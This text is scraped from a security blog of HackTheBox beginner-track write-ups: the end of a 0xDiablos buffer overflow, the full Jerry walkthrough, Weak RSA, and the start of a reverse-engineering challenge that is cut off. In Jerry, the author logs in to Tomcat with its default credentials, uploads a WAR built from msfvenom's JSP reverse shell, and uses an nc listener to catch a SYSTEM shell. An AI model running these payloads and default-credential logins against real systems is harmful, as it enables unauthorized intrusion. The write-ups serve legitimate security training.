gdb-peda$ b *0x08049246 Breakpoint 2 at 0x8049246 gdb-peda$ b *0x0804924f Breakpoint 3 at 0x804924f gdb-peda$ We continue execution.\ngdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffffd010 (\"SUCCESS\") EBX: 0x804c000 --\u003e 0x804bf10 --\u003e 0x1 ECX: 0x0 EDX: 0xfbad2498 ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0xffffd05c (\"AAAAAAAAﾭ\\336\\r\\320\\336\\300\") ESP: 0xffffd004 ('A' \u0026lt;repeats 12 times\u0026gt;, \"SUCCESS\") EIP: 0x8049246 (\u0026lt;flag+100\u0026gt;:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804923d \u0026lt;flag+91\u0026gt;:\tpush eax 0x804923e \u0026lt;flag+92\u0026gt;:\tcall 0x8049050 \u0026lt;fgets@plt\u0026gt; 0x8049243 \u0026lt;flag+97\u0026gt;:\tadd esp,0x10 =\u003e 0x8049246 \u0026lt;flag+100\u0026gt;:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef 0x804924d \u0026lt;flag+107\u0026gt;:\tjne 0x8049269 \u0026lt;flag+135\u0026gt; 0x804924f \u0026lt;flag+109\u0026gt;:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d 0x8049256 \u0026lt;flag+116\u0026gt;:\tjne 0x804926c \u0026lt;flag+138\u0026gt; 0x8049258 \u0026lt;flag+118\u0026gt;:\tsub esp,0xc [------------------------------------stack-------------------------------------] 0000| 0xffffd004 ('A' \u0026lt;repeats 12 times\u0026gt;, \"SUCCESS\") 0004| 0xffffd008 (\"AAAAAAAASUCCESS\") 0008| 0xffffd00c (\"AAAASUCCESS\") 0012| 0xffffd010 (\"SUCCESS\") 0016| 0xffffd014 --\u003e 0x535345 ('ESS') 0020| 0xffffd018 ('A' \u0026lt;repeats 56 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") 0024| 0xffffd01c ('A' \u0026lt;repeats 52 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") 0028| 0xffffd020 ('A' \u0026lt;repeats 48 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x08049246 in flag () gdb-peda$ We verify that the registers contain the expected parameter values.\ngdb-peda$ x/xw $ebp+0x8 0xffffd064:\t0xdeadbeef gdb-peda$ x/xw $ebp+0xc 0xffffd068:\t0xc0ded00d gdb-peda$ The parameters are set correctly. Continuing execution past both breakpoints displays our test flag value before the program crashes.\ngdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffffd010 (\"SUCCESS\") EBX: 0x804c000 --\u003e 0x804bf10 --\u003e 0x1 ECX: 0x0 EDX: 0xfbad2498 ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0xffffd05c (\"AAAAAAAAﾭ\\336\\r\\320\\336\\300\") ESP: 0xffffd004 ('A' \u0026lt;repeats 12 times\u0026gt;, \"SUCCESS\") EIP: 0x804924f (\u0026lt;flag+109\u0026gt;:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049243 \u0026lt;flag+97\u0026gt;:\tadd esp,0x10 0x8049246 \u0026lt;flag+100\u0026gt;:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef 0x804924d \u0026lt;flag+107\u0026gt;:\tjne 0x8049269 \u0026lt;flag+135\u0026gt; =\u003e 0x804924f \u0026lt;flag+109\u0026gt;:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d 0x8049256 \u0026lt;flag+116\u0026gt;:\tjne 0x804926c \u0026lt;flag+138\u0026gt; 0x8049258 \u0026lt;flag+118\u0026gt;:\tsub esp,0xc 0x804925b \u0026lt;flag+121\u0026gt;:\tlea eax,[ebp-0x4c] 0x804925e \u0026lt;flag+124\u0026gt;:\tpush eax [------------------------------------stack-------------------------------------] 0000| 0xffffd004 ('A' \u0026lt;repeats 12 times\u0026gt;, \"SUCCESS\") 0004| 0xffffd008 (\"AAAAAAAASUCCESS\") 0008| 0xffffd00c (\"AAAASUCCESS\") 0012| 0xffffd010 (\"SUCCESS\") 0016| 0xffffd014 --\u003e 0x535345 ('ESS') 0020| 0xffffd018 ('A' \u0026lt;repeats 56 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") 0024| 0xffffd01c ('A' \u0026lt;repeats 52 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") 0028| 0xffffd020 ('A' \u0026lt;repeats 48 times\u0026gt;, \"\\260\\341\\004\\b\", 'A' \u0026lt;repeats 16 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 3, 0x0804924f in flag () gdb-peda$ c Continuing. SUCCESS Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x7 EBX: 0x41414141 ('AAAA') ECX: 0x7 EDX: 0xffffffff ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0x41414141 ('AAAA') ESP: 0xffffd064 --\u003e 0xdeadbeef EIP: 0x41414141 ('AAAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xffffd064 --\u003e 0xdeadbeef 0004| 0xffffd068 --\u003e 0xc0ded00d 0008| 0xffffd06c --\u003e 0x300 0012| 0xffffd070 --\u003e 0xffffd090 --\u003e 0x1 0016| 0xffffd074 --\u003e 0x0 0020| 0xffffd078 --\u003e 0x0 0024| 0xffffd07c --\u003e 0xf7de0e46 (\u003c__libc_start_main+262\u003e:\tadd esp,0x10) 0028| 0xffffd080 --\u003e 0xf7faa000 --\u003e 0x1e3d6c [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? () gdb-peda$ Verifying Results The payload functions as expected in GDB. We verify it against the local executable.\nuser@kali:~$ cat payload.txt | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aﾭ� SUCCESSSegmentation fault user@kali:~$ With local verification complete, we spawn the challenge instance and submit our payload to retrieve the flag.\nuser@kali:~$ cat payload.txt | nc 178.62.78.169 30660 You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aﾭ� \u0026lt;redacted-flag\u0026gt; user@kali:~$ We submit the flag, review the challenge completion, and terminate the challenge box.\n","permalink":"https://onebee.blog/blog/htb/beginner-track/you-know-0xdiablos/","summary":"HackTheBox | Beginner Track | You know 0xDiablos","title":"You know 0xDiablos"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nMachine: Jerry\nReleased: 30/06/2018 MACHINE SYNOPSIS\nJerry is an easy-difficulty Windows machine that showcases how to exploit Apache Tomcat, leading to an NT Authority\\SYSTEM shell, thus fully compromising the target.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;targetbox-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;targetbox-ip\u0026gt; user@kali:~$ We can use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Information Gathering We start out with a quick connection check:\nuser@kali:~$ ping -c 4 -n -R $rhost \u003e connection-test.txt user@kali:~$ cat connection-test.txt ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ This is followed by the usual TCP scan (SYN, version, script, all ports):\nuser@kali:~$ nmap -Pn -sT -p- -min-rate 5000 -oN nmap-syn-allports-scan $rhost ... PORT STATE SERVICE 8080/tcp open http-proxy ... user@kali:~$ Only one port seems to be open: port 8080. Let us get more details on that service:\nuser@kali:~$ nmap -Pn -sT -p 8080 -sC -sV -oN nmap-syn-script-version-p8080-scan $rhost ... PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88 |_http-server-header: Apache-Coyote/1.1 |_http-favicon: Apache Tomcat ... user@kali:~$ It appears to be running an Apache Tomcat web server. How about its fingerprint?\nuser@kali:~$ whatweb http://$rhost:8080/ \u003e whatweb-p8080-fingerprint user@kali:~$ cat whatweb-p8080-fingerprint http://10.129.136.9:8080/ [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache-Coyote/1.1], IP[10.129.136.9], Title[Apache Tomcat/7.0.88] user@kali:~$ We finish up our Nmap scans with a quick all-ports UDP scan followed by a simple OS scan. (We definitely do not want to miss any potential UDP services.)\nuser@kali:~$ sudo nmap -Pn -sU -p- --min-rate 10000 -oN nmap-udp-allport-scan $rhost ... Host is up. All 65535 scanned ports on 10.129.136.9 are in ignored states. ... user@kali:~$ user@kali:~$ sudo nmap -O -oN nmap-os-scan $rhost ... PORT STATE SERVICE 8080/tcp open http-proxy ... Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%) ... user@kali:~$ It looks like all UDP ports are down and we have a Windows target on our hands. But before we move on, we do a quick directory enumeration on the web server using a small, common wordlist.\nuser@kali:~$ gobuster dir -u http://$rhost:8080/ -w /usr/share/wordlists/dirb/common.txt -q \u003e gobuster-dir-common-enum user@kali:~$ cat gobuster-dir-common-enum /aux (Status: 200) [Size: 0] /com1 (Status: 200) [Size: 0] /com2 (Status: 200) [Size: 0] /com3 (Status: 200) [Size: 0] /con (Status: 200) [Size: 0] /docs (Status: 302) [Size: 0] [--\u003e /docs/] /examples (Status: 302) [Size: 0] [--\u003e /examples/] /favicon.ico (Status: 200) [Size: 21630] /host-manager (Status: 302) [Size: 0] [--\u003e /host-manager/] /lpt1 (Status: 200) [Size: 0] /lpt2 (Status: 200) [Size: 0] /manager (Status: 302) [Size: 0] [--\u003e /manager/] /nul (Status: 200) [Size: 0] /prn (Status: 200) [Size: 0] user@kali:~$ We note the results and move on.\nIt is time to fire up our web browser and check out the aforementioned webpage. It looks like a default welcoming site one would get after a successful installation.\nThe part that especially stands out is the displayed Apache Tomcat version: Apache Tomcat/7.0.88.\nFigure 1: Apache Tomcat default welcome page\nExploring the interface, we notice a few things:\nOnly the tabs Documentation, Configuration, and Examples redirect to sites hosted by the target.\nLogin for http://$rhost:8080/manager/status \u0026ndash; accessible via Server Status \u0026ndash; is quite easy with the default credentials admin:admin.\nLogin for http://$rhost:8080/manager/html \u0026ndash; accessible via Manager App \u0026ndash; requires other login credentials.\nLogin for http://$rhost:8080/host-manager/html \u0026ndash; accessible via Host Manager \u0026ndash; requires other login credentials.\nThere are some default credentials tomcat:s3cret mentioned for the Manager App.\nFigure 2: Default credentials listed on the Tomcat manager page\nSadly, accessing the server status webpage proves unhelpful \u0026ndash; there is simply not much we can do here.\nFigure 3: Tomcat server status page\nAccessing the Manager App, on the other hand, looks very promising. Not only were the default credentials tomcat:s3cret not changed, but the Tomcat Web Application Manager provided us with file upload capabilities.\nFigure 4: Tomcat web application manager interface\nMoreover, there are some potentially important pieces of information at the bottom of the page under Server Information:\nTomcat Version: Apache Tomcat/7.0.88 JVM Version: 1.8.0_171-b11 JVM Vendor: Oracle Corporation OS Name: Windows Server 2012 R2 OS Version: 6.3 OS Architecture: amd64 Hostname: JERRY IP Address: 10.129.136.9 Before we capitalize on the file upload functionality, let us try the same default credentials on the Host Manager. No luck this time \u0026ndash; still worth a try, though.\nLooking around for an appropriate payload (WAR files are mentioned), we came across the PayloadAllTheThings website mentioning the following:\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war \u0026gt; reverse.war strings reverse.war | grep jsp # in order to get the name of the file So, in a nutshell, we use msfvenom to create a Java reverse shell in a WAR packaging format, and then we look for the exact JSP file within this WAR archive.\nExploitation Adjusting our payload creation by specifying our target\u0026rsquo;s architecture (amd64 to x64) as a 64-bit architecture and modifying the local host and port to match our pwnbox\u0026rsquo;s IP address should do it.\nuser@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp -a x64 -f war LHOST=10.10.14.99 LPORT=4444 \u003e revshell.war Payload size: 1087 bytes Final size of war file: 1087 bytes ... user@kali:~$ ll ... -rw-r--r-- 1 user user 1.1K ... revshell.war user@kali:~$ file revshell.war revshell.war: Zip archive data, at least v2.0 to extract user@kali:~$ As instructed, let us search for the JSP file hidden inside the WAR archive. Perhaps we will need it later?\nuser@kali:~$ strings revshell.war | grep jsp nkvbztft.jsp}T]k nkvbztft.jspPK user@kali:~$ Before we upload our reverse shell, we start a Netcat listener to catch when our target tries connecting back.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Since we are done with the preparations, let us upload it.\nFigure 5: WAR file upload interface in Tomcat manager\nOnce uploaded, our reverse shell is listed and made available under Applications.\nFigure 6: Uploaded reverse shell listed in applications\nAccessing it at http://$rhost:8080/revshell/ lands us a connection in our Netcat listener.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.136.9. Ncat: Connection from 10.129.136.9:49192. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\\apache-tomcat-7.0.88\u003e Checking our privileges with whoami reveals something shocking: we have SYSTEM access, which pretty much eliminates any need for privilege escalation or lateral movement in this case.\nPost-Exploitation After exploring the system, we find the flags at C:\\Users\\Administrator\\Desktop\\flags\\2 for the price of 1.txt, and retrieving them gets us the box.\nC:\\apache-tomcat-7.0.88\u003ecd C:\\Users\\Administrator\\Desktop ... ... \u0026lt;DIR\u0026gt; flags ... C:\\Users\\Administrator\\Desktop\u003ecd flags ... C:\\Users\\Administrator\\Desktop\\flags\u003edir ... ... 88 2 for the price of 1.txt ... C:\\Users\\Administrator\\Desktop\\flags\u003etype \"2 for the price of 1.txt\" ... user.txt \u0026lt;redacted-user-flag\u0026gt; ... root.txt \u0026lt;redacted-root-flag\u0026gt; C:\\Users\\Administrator\\Desktop\\flags\u003e Congratulations, we just successfully pwned the target machine. All that is left for us now is to submit the flags and terminate the target box (if not terminated automatically).\n","permalink":"https://onebee.blog/blog/htb/beginner-track/jerry/","summary":"HackTheBox | Beginner Track | Jerry","title":"Jerry"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nChallenge: Weak RSA DESCRIPTION\nCan you decrypt the message and get the flag?\nSUMMARY\nWe prepare the challenge files and set up RsaCtfTool. Using this tool, we crack a weak public key, generate a private key, and decrypt the encrypted flag.\nChallenge Files After reviewing the challenge description, we proceed by downloading the challenge files.\nFigure 1: Downloaded challenge archive and verification checksum\nThe download contains a single compressed file named Weak RSA.zip. We use the provided SHA256 checksum to verify its integrity.\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 826 ... 'Weak RSA.zip' user@kali:~$ echo \"1cbf890e7a0fe8b404597b565da96c388e5653937631e2dc8710ede9d15bdb7d Weak RSA.zip\" | sha256sum -c Weak RSA.zip: OK user@kali:~$ With the file verified, we decompress the archive using the provided password.\nuser@kali:~$ unzip -P hackthebox Weak\\ RSA.zip Archive: Weak RSA.zip inflating: flag.enc inflating: key.pub user@kali:~$ The archive contains two files: flag.enc and key.pub. Examining their contents reveals that key.pub contains ASCII text, while flag.enc appears to be binary data.\nuser@kali:~$ cat flag.enc �_�vc[��~�kZ�1�Ĩ�4�I�9V�ֿ�^G���(�+3Lu\"�T$���F0�VP�־j@�����| ... user@kali:~$ cat key.pub -----BEGIN PUBLIC KEY----- MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQMwO3kPsUnaNAbUlaubn7ip 4pNEXjvUOxjvLwUhtybr6Ng4undLtSQPCPf7ygoUKh1KYeqXMpTmhKjRos3xioTy 23CZuOl3WIsLiRKSVYyqBc9d8rxjNMXuUIOiNO38ealcR4p44zfHI66INPuKmTG3 RQP/6p5hv1PYcWmErEeDewKBgGEXxgRIsTlFGrW2C2JXoSvakMCWD60eAH0W2PpD qlqqOFD8JA5UFK0roQkOjhLWSVu8c6DLpWJQQlXHPqP702qIg/gx2o0bm4EzrCEJ 4gYo6Ax+U7q6TOWhQpiBHnC0ojE8kUoqMhfALpUaruTJ6zmj8IA1e1M6bMqVF8sr lb/N -----END PUBLIC KEY----- user@kali:~$ Preparing Necessary Tools We have a weak RSA public key and an encrypted flag. Our objective is to decrypt the flag by exploiting the weak public key to derive the corresponding private key. Once we recover the private key, decrypting the flag becomes trivial.\nResearch on RSA attacks leads us to RsaCtfTool, a specialized utility for attacking RSA keys and recovering plaintext.\nFollowing the tool\u0026rsquo;s Ubuntu and Kali installation instructions, we first clone the repository.\nuser@kali:~$ git clone https://github.com/RsaCtfTool/RsaCtfTool.git Cloning into 'RsaCtfTool'... ... Receiving objects: 100% (4587/4587), 16.52 MiB | 16.55 MiB/s, done. Resolving deltas: 100% (3153/3153), done. user@kali:~$ Next, we install the required system packages.\nuser@kali:~$ sudo apt-get install libgmp3-dev libmpc-dev ... The following additional packages will be installed: libmpfr-dev Suggested packages: libmpfr-doc The following NEW packages will be installed: libgmp3-dev libmpc-dev libmpfr-dev 0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. ... Scanning application launchers Removing duplicate launchers or broken launchers Launchers are updated user@kali:~$ We then navigate to the cloned repository and install the necessary Python modules.\nuser@kali:~$ cd RsaCtfTool/ user@kali:~$ ll ... -rw-r--r-- 1 user user 33 ... optional-requirements.txt -rw-r--r-- 1 user user 11K ... README.md -rw-r--r-- 1 user user 145 ... requirements.txt -rwxr-xr-x 1 user user 17K ... RsaCtfTool.py drwxr-xr-x 1 user user 356 ... sage -rw-r--r-- 1 user user 938 ... setup.py ... user@kali:~$ pip3 install -r \"requirements.txt\" Requirement already satisfied: six in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (1.16.0) Collecting cryptography==39.0.1 ... Requirement already satisfied: urllib3==1.26.5 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (1.26.5) Collecting requests==2.25.1 ... Installing collected packages: requests, z3-solver, pycryptodome, psutil, gmpy2, factordb-pycli, cryptography, bitarray ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts. crackmapexec 5.4.1 requires paramiko\u003c3.0.0,\u003e=2.7.2, but you have paramiko 3.1.0 which is incompatible. crackmapexec 5.4.1 requires requests\u003e=2.27.1, but you have requests 2.25.1 which is incompatible. censys 2.1.9 requires backoff\u003c3.0.0,\u003e=2.0.1, but you have backoff 1.10.0 which is incompatible. censys 2.1.9 requires requests\u003e=2.26.0, but you have requests 2.25.1 which is incompatible. censys 2.1.9 requires rich\u003e=10.16.2, but you have rich 10.12.0 which is incompatible. Successfully installed bitarray-2.7.3 cryptography-39.0.1 factordb-pycli-1.1.1 gmpy2-2.1.2 psutil-5.9.4 pycryptodome-3.10.4 requests-2.25.1 z3-solver-4.12.2.0 user@kali:~$ Debugging Given the error messages and warnings during installation, we decide to install the optional requirements as well.\nuser@kali:~$ pip3 install -r \"optional-requirements.txt\" Collecting wolframalpha ... Collecting SageMath ... Collecting gmpy==1.17 ... Collecting cython\u003e=0.26 ... Collecting jaraco.context ... Requirement already satisfied: xmltodict in /usr/lib/python3/dist-packages (from wolframalpha-\u003e-r optional-requirements.txt (line 1)) (0.12.0) Requirement already satisfied: more-itertools in /usr/lib/python3/dist-packages (from wolframalpha-\u003e-r optional-requirements.txt (line 1)) (4.2.0) Building wheels for collected packages: gmpy, SageMath ... Successfully built gmpy SageMath Installing collected packages: jaraco.context, cython, wolframalpha, SageMath, gmpy Successfully installed SageMath-1.3.0 cython-0.29.35 gmpy-1.17 jaraco.context-4.3.0 wolframalpha-5.0.0 user@kali:~$ Our initial attempt to decrypt the flag produces an error indicating that the private argument is not set and the private key will not be displayed even if recovered.\nA quick fix is documented in the project\u0026rsquo;s Issues section: uncomment lines 425 and 426 in RsaCtfTool.py.\n# RsaCtfTool.py ... # if we have uncipher but no uncipherfile if args.uncipher is not None: uncipher_array = [] for uncipher in args.uncipher.split(\u0026#34;,\u0026#34;): uncipher = get_numeric_value(uncipher) uncipher = get_base64_value(uncipher) uncipher_array.append(n2s(uncipher)) args.uncipher = uncipher_array # if we have uncipherfile if args.uncipherfile is not None: if uncipher_file(args, logger): sys.exit(0) #else: # sys.exit(-1) # If we have n and one of p and q, calculated the other if args.n and (args.p or args.q): args.p, args.q = generate_pq_from_n_and_p_or_q(args.n, args.p, args.q) ... Attacking the Weak RSA Public Key We attempt decryption again with the modified script.\nuser@kali:~$ ./RsaCtfTool.py --publickey ../key.pub --uncipherfile ../flag.enc --private [*] Testing key ../key.pub. attack initialized... attack initialized... [*] Performing factordb attack on ../key.pub. ... [*] Performing fibonacci_gcd attack on ../key.pub. ... [*] Performing wiener attack on ../key.pub. ... [*] Attack success with wiener method ! ... Results for ../key.pub: Private key : -----BEGIN RSA PRIVATE KEY----- MIICOQIBAAKBgQMwO3kPsUnaNAbUlaubn7ip4pNEXjvUOxjvLwUhtybr6Ng4undL tSQPCPf7ygoUKh1KYeqXMpTmhKjRos3xioTy23CZuOl3WIsLiRKSVYyqBc9d8rxj NMXuUIOiNO38ealcR4p44zfHI66INPuKmTG3RQP/6p5hv1PYcWmErEeDewKBgGEX xgRIsTlFGrW2C2JXoSvakMCWD60eAH0W2PpDqlqqOFD8JA5UFK0roQkOjhLWSVu8 c6DLpWJQQlXHPqP702qIg/gx2o0bm4EzrCEJ4gYo6Ax+U7q6TOWhQpiBHnC0ojE8 kUoqMhfALpUaruTJ6zmj8IA1e1M6bMqVF8srlb/NAiBhwngxi+Cbie3YBogNzGJV h10vAgw+i7cQqiiwEiPFNQJBAYXzr5r2KkHVjGcZNCLRAoXrzJjVhb7knZE5oEYo nEI+h2gQSt1bavv3YVxhcisTVuNrlgQo58eGb4c9dtY2blMCQQIX2W9IbtJ26KzZ C/5HPsVqgxWtuP5hN8OLf3ohhojr1NigJwc6o68dtKScaEQ5A33vmNpuWqKucecT 0HEVxuE5AiBhwngxi+Cbie3YBogNzGJVh10vAgw+i7cQqiiwEiPFNQIgYcJ4MYvg m4nt2AaIDcxiVYddLwIMPou3EKoosBIjxTUCQQCnqbJMPEQHpg5lI6MQi8ixFRqo +KwoBrwYfZlGEwZxdK2Ms0jgeta5jFFS11Fwk5+GyimnRzVcEbADJno/8BKe -----END RSA PRIVATE KEY----- Unciphered data : HEX : 0x000221cfb29883b06f409a679a58a4e97b446e28b244bbcd0687d178a8ab8722bf86da06a62e042c892d2921b336571e9ff7ac9d89ba90512bac4cfb8d7e4a3901bbccf5dfac01b27bddd35f1ca55344a75943df9a18eadb344cf7cf55fa0baa7005bfe32f41004854427b73316d706c335f5769336e3372735f34747434636b7d INT (big endian) : 1497194306832430076266314478305730170974165912795150306640063107539292495904192020114449824357438113183764256783752233913408135242464239912689425668318419718061442061010640167802145162377597484106658670422900749326253337728846324798012274989739031662527650589811318528908253458824763561374522387177140349821 INT (little endian) : 22546574266225300968123857704721191858671593287972919965619572675918636257464402082642870677657579044805501825719744981953609630743396909394906721219496019830622451770590549653716476856077849644487076110495020954617170743371827481017047908786316114794508942268154434710618690751442928771926238749045133355844096 STR : b'\\x00\\x02!\\xcf\\xb2\\x98\\x83\\xb0o@\\x9ag\\x9aX\\xa4\\xe9{Dn(\\xb2D\\xbb\\xcd\\x06\\x87\\xd1x\\xa8\\xab\\x87\"\\xbf\\x86\\xda\\x06\\xa6.\\x04,\\x89-)!\\xb36W\\x1e\\x9f\\xf7\\xac\\x9d\\x89\\xba\\x90Q+\\xacL\\xfb\\x8d~J9\\x01\\xbb\\xcc\\xf5\\xdf\\xac\\x01\\xb2{\\xdd\\xd3_\\x1c\\xa5SD\\xa7YC\\xdf\\x9a\\x18\\xea\\xdb4L\\xf7\\xcfU\\xfa\\x0b\\xaap\\x05\\xbf\\xe3/A\\x00\u0026lt;redacted-flag\u0026gt;' PKCS#1.5 padding decoded! HEX : \u0026lt;hex-encoded-redacted-flag\u0026gt; INT (big endian) : \u0026lt;big-endian-encoded-redacted-flag\u0026gt; INT (little endian) : \u0026lt;little-endian-encoded-redacted-flag\u0026gt; utf-8 : \u0026lt;redacted-flag\u0026gt; STR : b'\\x00\u0026lt;redacted-flag\u0026gt;' user@kali:~$ The attack succeeds using the Wiener method, recovering the private key and decrypting the flag.\nClean-Up As this challenge involves only static files without instantiated targets, minimal cleanup is required. After submitting the flag, we proceed to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/beginner-track/weak-rsa/","summary":"HackTheBox | Beginner Track | Weak RSA","title":"Weak RSA"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nChallenge: Find The Easy Pass DESCRIPTION\nFind the password (say PASS) and enter the flag in the form HTB{PASS}.\nSUMMARY\nWe perform static analysis using Ghidra and dynamic analysis with OllyDbg to gain insight into the program\u0026rsquo;s behavior. We run the executable with sample data and track where it stores this data in memory, checking the surrounding environment to better understand the context. With this knowledge, we extract the password and verify it by running the executable again with the password as input.\nPreparation After reading the challenge description, we download the provided challenge files. There is only one file this time: Find The Easy Pass.zip.\nFigure 1: Downloaded challenge files\nOnce downloaded, we copy the provided SHA256 checksum and use it for integrity verification.\nFigure 2: SHA256 checksum on challenge page\nOne convenient way to verify the checksum is to use the -c option with the sha256sum command.\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 206K ... 'Find The Easy Pass.zip' user@kali:~$ echo \"0c48ca8a4a3ab2f73f76b0e6535c2feb510c1caf16b8bcc41c74b392c945e4db Find The Easy Pass.zip\" | sha256sum -c Find The Easy Pass.zip: OK user@kali:~$ The file was not tampered with, so we decompress it.\nuser@kali:~$ unzip -P hackthebox Find\\ The\\ Easy\\ Pass.zip Archive: Find The Easy Pass.zip inflating: EasyPass.exe user@kali:~$ ll ... -rw-r--r-- 1 user user 393K ... EasyPass.exe -rw-r--r-- 1 user user 206K ... 'Find The Easy Pass.zip' user@kali:~$ Search for Strings After determining the file type as a 32-bit Windows portable executable,\nuser@kali:~$ file EasyPass.exe EasyPass.exe: PE32 executable (GUI) Intel 80386, for MS Windows user@kali:~$ we store all printable strings in a separate file. This allows us to sort through them easily. For example, searching for all words starting with \u0026lsquo;pass\u0026rsquo; (case insensitive) provides us with some ideas about where to look.\nuser@kali:~$ strings EasyPass.exe \u003e easypass_strings.txt user@kali:~$ cat easypass_strings.txt | grep -i -n pass* 1960:PasswordChar 3795:Wrong Password! 5158:Enter Password 5171:Check Password user@kali:~$ This output suggests some login-related text. We use Vim to examine the environment where these words appear, hoping the password might be located nearby.\nFigure 3: Examining strings output in Vim\nWe find nothing of value this time. Moreover, since the generated strings file contains more than five thousand entries,\nuser@kali:~$ wc -l easypass_strings.txt 5174 easypass_strings.txt user@kali:~$ we decide to take another approach.\nRunning the Executable We consider simply running the executable to observe its behavior. Note that this could be dangerous if the file were malware. However, another issue arises: running native Windows 32-bit applications on Linux (specifically the Pwnbox, which runs Parrot OS, a Debian-based distribution) does not work right out of the box.\nAfter doing some quick online research, we settle on Wine as our solution. It comes already installed on the Pwnbox, so we attempt to run the executable.\nuser@kali:~$ wine EasyPass.exe it looks like wine32 is missing, you should install it. multiarch needs to be enabled first. as root, please execute \"dpkg --add-architecture i386 \u0026\u0026 apt-get update \u0026\u0026 apt-get install wine32:i386\" ... user@kali:~$ The program does not run, but we receive helpful hints about follow-up instructions.\nuser@kali:~$ sudo dpkg --add-architecture i386 \u0026\u0026 sudo apt-get update \u0026\u0026 sudo apt-get install wine32:i386 ... Reading state information... Done Some packages could not be installed. This may mean that you have requested 